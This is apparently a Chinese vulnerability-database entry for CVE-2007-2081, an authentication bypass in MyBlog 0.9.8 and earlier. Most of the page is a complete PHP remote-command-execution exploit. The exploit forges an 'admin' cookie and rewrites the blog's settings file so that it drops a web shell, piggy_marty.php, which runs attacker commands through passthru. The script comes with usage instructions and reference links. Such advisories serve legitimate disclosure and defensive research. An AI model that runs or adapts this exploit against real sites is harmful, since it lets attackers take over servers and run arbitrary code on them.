MyBlog 远程攻击者admin cookie参数身份认证绕过漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112722 漏洞类型 未知
发布时间 2007-04-16 更新时间 2007-04-18
CVE编号 CVE-2007-2081 CNNVD-ID CNNVD-200704-315
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/29864
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200704-315
|漏洞详情
MyBlog存在身份认证绕过漏洞。远程攻击者可以借助提交到特定admin文件的admincookie参数,绕过身份认证。
|漏洞EXP
source: http://www.securityfocus.com/bid/23521/info

MyBlog is prone to an authentication-bypass vulnerability.

Attackers can exploit this issue to bypass the authentication mechanism and then access or overwrite files with arbitrary PHP script code. Script code added to certain files are later included for execution, allowing the attacker to exploit this issue to execute arbitrary PHP script code.

MyBlog 0.9.8 and prior versions are vulnerable to this issue. 

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "
MyBlog <= 0.9.8 Remote Command Execution Exploit
by BlackHawk <hawkgotyou@gmail.com> <http://itablackhawk.altervista.org>
Thanks to rgod for the php code and Marty for the Love

";
if ($argc<3) {
echo "Usage: php ".$argv[0]." Host Path CMD
Host:          target server (ip/hostname)
Path:          path of myblog

Example:
php ".$argv[0]." localhost /myblog/ CMD";

die;
}
/*
The problem is in all admin files:

if(isset($_COOKIE['admin'])) {
$name = $_COOKIE['login'];
}
else {
echo "Please Login";
exit;
}

This easy to bypass function leads to a RCE because we can put PHP code in settings.inc,
that is required in many pages..

This exploit create a piggy_marty.php shell on the victim site

*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
        $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
        }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
for ($i=3; $i<=$argc-1; $i++){
$cmd.=" ".$argv[$i];
}
$cmd=urlencode($cmd);


$port=80;
$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "Step0 - See If piggy_marty.php already exists..\r\n";
$packet="GET ".$p."piggy_marty.php?cmd=$cmd HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=$cmd\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"666999"))
{
  echo "Exploit succeeded...\r\n";
  $temp=explode("666999",$html);
  die("\r\n".$temp[1]."\r\n");
}

echo "Step1 - Retrieving Configuration\r\n";
$packet="GET ".$p."admin/settings.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: admin=BlackHawk\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("<textarea name=\"content\" cols=\"80\" rows=\"20\">", $html);
$config_file=explode("</textarea><br /><input type=\"submit\" /></form>", $temp[1]);
$new_file = str_replace('?>', '
$fp=fopen(\'piggy_marty.php\',\'w\');
fputs($fp,\'<?php error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
$_GET[cmd]=stripslashes($_GET[cmd]);
}
echo 666999;
passthru($_GET[cmd]);
echo 666999;
?>\');
fclose($fp);
chmod(\'piggy_marty.php\',777);
?>', $config_file[0]);

echo "Step2 - Uploading New Data..\r\n";
$data="content=".urlencode($new_file);
$packet="POST ".$p."admin/settings.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Referer: http://".$host.$path."admin/settings.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: admin=BlackHawk\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);

echo "Step3 - Executing Shell Maker\r\n";
$packet="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: \r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
sleep(3);
echo "Step4 - Executing Shell..\r\n";
$packet="GET ".$p."piggy_marty.php?cmd=$cmd HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=$cmd\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"666999"))
{
  echo "Exploit succeeded...\r\n";
  $temp=explode("666999",$html);
  die("\r\n".$temp[1]."\r\n");
}

# Coded With BH Fast Generator v0.1
?>
|参考资料

来源:BID
名称:23521
链接:http://www.securityfocus.com/bid/23521
来源:BUGTRAQ
名称:20070415MyBlog<=0.9.8RemoteCommandExecutionExploit
链接:http://www.securityfocus.com/archive/1/archive/1/465873/100/0/threaded
来源:OSVDB
名称:41593
链接:http://osvdb.org/41593
来源:XF
名称:myblog-admin-cookie-authentication-bypass(34025)
链接:http://xforce.iss.net/xforce/xfdb/34025
来源:SREASON
名称:2581
链接:http://securityreason.com/securityalert/2581